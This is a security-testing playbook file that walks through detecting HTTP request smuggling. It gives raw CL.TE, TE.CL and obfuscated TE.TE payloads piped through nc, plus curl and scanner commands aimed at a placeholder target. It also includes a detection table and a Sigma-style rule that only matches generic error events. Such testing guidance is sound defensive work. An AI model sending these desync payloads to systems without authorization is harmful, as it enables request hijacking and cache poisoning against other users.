<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: testing-http-request-smuggling
description: >-
  Detect HTTP request smuggling vulnerabilities caused by discrepancies
  between front-end and back-end server parsing of Transfer-Encoding and
  Content-Length headers, including CL.TE, TE.CL, and TE.TE variants
  that enable request hijacking and cache poisoning.
domain: cybersecurity
subdomain: application-security
tags:
  - request-smuggling
  - http-desync
  - cl-te
  - te-cl
  - owasp-a05
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1557", "T1190"]
  owasp-top10: ["A05"]
  tools: ["burpsuite", "smuggler", "curl", "nuclei"]
---

# Testing HTTP Request Smuggling

## Overview

HTTP request smuggling exploits parsing differences between front-end
proxies and back-end servers. When servers disagree on request boundaries,
attackers can prepend malicious requests to other users' connections,
enabling credential theft, cache poisoning, and access control bypass.

## Prerequisites

- Tools: Burp Suite (HTTP Request Smuggler extension), smuggler.py, curl
- Target behind a reverse proxy or load balancer
- Ability to send raw HTTP requests with malformed headers

## Workflow

### Step 1: Detect Proxy Architecture

```bash
# Identify reverse proxy / CDN
curl -s -D- https://target.com/ | grep -iE \
  'server:|via:|x-powered-by:|x-cache|cf-ray'

# Check Transfer-Encoding handling
curl -s -D- -H "Transfer-Encoding: chunked" \
  -X POST https://target.com/ --data "0\r\n\r\n"
```

### Step 2: CL.TE Detection

```bash
# CL.TE timing-based detection
# Front-end uses Content-Length, back-end uses Transfer-Encoding
printf 'POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nX' | \
  nc -w 5 target.com 80
```

### Step 3: TE.CL Detection

```bash
# TE.CL timing-based detection
printf 'POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 3\r\nTransfer-Encoding: chunked\r\n\r\n8\r\nSMUGGLED\r\n0\r\n\r\n' | \
  nc -w 5 target.com 80
```

### Step 4: Automated Scanning

```bash
# Smuggler.py automated detection
python3 smuggler.py -u https://target.com/ -m POST

# Nuclei request smuggling templates
nuclei -u https://target.com -t http/vulnerabilities/request-smuggling/ -json
```

### Step 5: TE.TE Obfuscation Variants

```bash
# Obfuscated Transfer-Encoding headers
printf 'POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 3\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: x\r\n\r\n8\r\nSMUGGLED\r\n0\r\n\r\n' | \
  nc -w 5 target.com 80

# Tab before value
printf 'POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 3\r\nTransfer-Encoding:\tchunked\r\n\r\n8\r\nSMUGGLED\r\n0\r\n\r\n' | \
  nc -w 5 target.com 80
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| Malformed Transfer-Encoding | WAF/proxy logs | Obfuscated TE headers in requests |
| Content-Length mismatch | Access logs | CL disagrees between proxy layers |
| Unexpected request prefixes | Back-end logs | Requests starting with smuggled content |

```yaml
title: Testing Http Request Smuggling Detection
id: 85fde791-d936-40a3-aa98-d35384ac04e8
status: experimental
description: Detects suspicious activity related to testing http request smuggling techniques in application security context
logsource:
  category: application
  product: webserver
detection:
  selection:
    EventType: error
  condition: selection
level: medium
tags:
  - attack.t1557
  - attack.t1190
  - attack.initial_access
falsepositives:
  - Application security scanning tools during CI/CD pipeline execution
```

## Verification

- [ ] Proxy architecture identified (CDN, load balancer, reverse proxy)
- [ ] CL.TE and TE.CL timing tests completed
- [ ] TE.TE obfuscation variants tested
- [ ] Automated tools confirm or rule out smuggling
- [ ] Impact assessed: request hijacking, cache poisoning, access bypass

## References

- [PortSwigger HTTP Request Smuggling](https://portswigger.net/research/http-request-smuggling)
- [HTTP Desync Attacks](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn)
- [Smuggler Tool](https://github.com/defparam/smuggler)
